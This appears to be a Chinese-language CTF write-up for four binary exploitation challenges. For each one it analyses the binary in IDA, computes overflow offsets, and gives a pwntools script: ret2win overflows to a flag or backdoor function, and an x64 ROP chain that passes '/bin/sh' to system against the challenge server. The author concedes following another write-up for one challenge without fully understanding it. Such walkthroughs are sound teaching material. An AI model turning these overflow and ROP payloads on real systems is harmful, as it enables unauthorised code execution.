五、emm
下载文件放入虚拟机中查看一下
32位ELF文件,开启栈不可执行保护(NX)
放入IDA中看一下
映入眼帘的就是一个flag函数,直接看一下flag函数中的内容
好嘛!cat flag 思路明确了
接着我们进入main函数中出现的yes函数,查看一下yes函数中的内容
一个栈溢出,read写入的是100个字节,远远超出定义的58字节
利用溢出,返回cat flag
思路有了
计算偏移地址
偏移地址:0x58+4
找出flag函数地址
flag_addr=0x80484CB
差不多了,开搞!
from pwn import * r =remote("ip", port) flag_addr=0x80484CB padding=0x58+4 payload=b'a' * padding + p32(flag_addr) r.sendline(payload) r.interactive()
运行脚本后得到flag
六、Choice
下载 虚拟机 查看
64位ELF文件,开启NX保护
进入IDA查看
发现有3个函数,Data1-3
进入Data1查看
有溢出,但不多 达不到攻击条件
进入Data2查看
同Data1 一样 溢出但不多
进入Data3查看
这才对嘛,有溢出,也够用!
找到了溢出点再找找有没有后门函数 shift+F12查找字符串
跟踪进入看一下,这是哪个函数里的
标准,太标准了 标准且典型的后门函数
思路有了:利用Data3函数中的溢出,返回到这个后门函数
现在是找出地址
先找到后门函数地址:0x4007BD
然后找出偏移地址:0x30+8
编写脚本开干
from pwn import * r =remote("120.46.59.242", 2112) flag_addr=0x4007BD padding=0x30+8 payload=b'a' * padding + p64(flag_addr) r.sendlineafter(b'Menu:\n',b'3') //注意,进入Data3函数之前是要输入数值的 这里发送个3 使其进入Data3函数 r.sendline(payload) r.interactive()
运行脚本后cat flag即可
七、overload1
这题我也没理清思路,所以就直接按照WP写了,有懂的可以评论一下 让我开开眼
下、放、查
ELF 64 NX开
IDA 看
使用了gets函数,是个溢出
if语句中v5[1]
和97
进行了比较,当v5[1]
等于97
,可以执行system()
函数。
所以就是利用溢出,将v5[1]的值覆盖成97 也就是ascii码中的‘a’
进入main函数的第一个if循环,输入一个y。
通过构造攻击链让程序返回v5[1]
等于字符a
。
已知溢出变量和所要覆盖变量的距离即可算出距离,构造出Payload。
payload = 0x110 * 'a'
脚本如下
from pwn import * r =remote("IP",port) #r = process("./overload1") elf = ELF("./overload1") r.recvline() r.recvline() payload = 'y' r.sendline(payload) #payload1 = 0x120 * 'a' payload1 = 0x110 * 'a' r.recvline() r.sendline(payload1) r.interactive()
八、X64
查看一下文件
64位ELF文件,什么都没开???!!认真的么铁子
进入主函数发现有一个function函数,进入function函数查看
一个溢出点
shift+F12查看字符串
有bin/sh字符串
但是bin/sh字符串并没有和system组合在一起,因此我们需要通过传参将bin/sh传入到system中
64位传参:参数从左到右放入寄存器:RDI, RSI, RDX, ECX, R8, R9,之后跟32位一样
大体思路如下:
找出溢出偏移量、进入function函数中、覆盖返回地址为shell 将/bin/sh作为参数传入
开始找值:
偏移量:0x80+8
bin字符串地址:0x601060
system地址:0x4006B6
还差一个rdi地址
使用命令:
ROPgadget --binary x64 --only "pop|ret"
找到RDI地址
RDI_addr=0x4007e3
编程搞事
from pwn import * r =remote("120.46.59.242", 2130) bin_addr=0x601060 padding=0x80+8 sys_addr=0x4006B6 rdi_addr=0x4007e3 payload=b'a' * padding + p64(rdi_addr)+p64(bin_addr)+p64(sys_addr) r.sendline(payload) r.interactive()
运行,然后cat flag即可